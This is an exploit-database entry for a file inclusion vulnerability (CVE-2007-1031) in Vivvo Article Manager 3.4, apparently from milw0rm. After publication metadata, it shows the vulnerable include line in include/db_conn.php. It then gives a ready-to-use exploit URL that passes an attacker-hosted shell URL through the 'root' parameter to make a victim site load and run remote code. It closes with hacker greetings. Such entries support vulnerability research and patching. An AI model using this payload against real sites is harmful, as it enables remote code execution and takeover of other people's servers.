Vivvo Article Manager 3.4 - 'root' Local File Inclusion

Author: Snip0r
type: webapps
platform: php
port: 
date_added: 2007-02-15 
date_updated: 2017-07-19 
verified: 1 
codes: OSVDB-35159;CVE-2007-1031 
tags: 
aliases:  
screenshot_url:  
application_url: 

===================================================================================================
Author: Snip0r
Script Name: Vivvo Article Manager v 3.4
Website: www.vivvo.net
===================================================================================================
Codesnippet of vulnerable script ("./include/db_conn.php"):

if (file_exists($ext_base_conf_file)) include_once($ext_base_conf_file);
===================================================================================================
Exploit:

http://victim.com/ [Vivvo Article Manager Path] / include / db_conn.php?root=[SHELL_URL]?
===================================================================================================
Greets fly out to: D-T-O, Blutkehle666,Chris,Doc,Legija0ne,Higgy,Anthra><,Basti and bi0
===================================================================================================

# milw0rm.com [2007-02-16]